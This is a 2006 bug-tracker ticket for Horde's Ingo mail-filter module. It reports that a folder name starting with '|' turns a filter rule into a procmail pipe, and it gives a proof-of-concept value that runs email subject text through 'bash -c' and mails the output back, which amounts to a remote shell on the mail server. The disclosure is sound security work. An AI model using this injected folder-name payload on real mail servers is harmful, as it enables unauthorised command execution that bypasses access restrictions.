[Tickets #4513] NEW: command execution with procmail

Wed Oct 11 04:34:10 PDT 2006

DO NOT REPLY TO THIS MESSAGE. THIS EMAIL ADDRESS IS NOT MONITORED.

Ticket URL: http://bugs.horde.org/ticket/?id=4513
-----------------------------------------------------------------------
 Ticket             | 4513
 Created By         | michael.menge at zdv.uni-tuebingen.de
 Summary            | command execution with procmail
 Queue              | Ingo
 Version            | 1.1.1
 Type               | Bug
 State              | Unconfirmed
 Priority           | 3. High
 Owners             | 
-----------------------------------------------------------------------

michael.menge at zdv.uni-tuebingen.de (2006-10-11 04:34) wrote:

It is possible to use a foldername beginning
with | as mailbox destination in a filterrule.

If the users don't have shell acces to the mailserver this rule could be
used to bypass this restriction.

EXCAPMLE:

The Foldername 
|formail    -rA     "X-Loop:hisemailaddres at excample.com"   |       (      
cat     -       ;myCmd="$MATCH";  echo    "Executing:     $myCmd" ;      
bash    -c      "$myCmd"       
 )       |$SENDMAIL        -oi     -t

would result in a prcmail like the following

* ^From:.*hisemailaddres at excample\.com
{
  :0
  * ^Subject:.*exec_command\/.*$
  |formail    -rA     "X-Loop:hisemailaddres at excample.com"   |       (    
  cat     -   
   ;
        myCmd="$MATCH"; echo    "Executing:     $myCmd" ;       bash    -c
     "$myCmd" 
      )
        |       $SENDMAIL       -oi     -t
}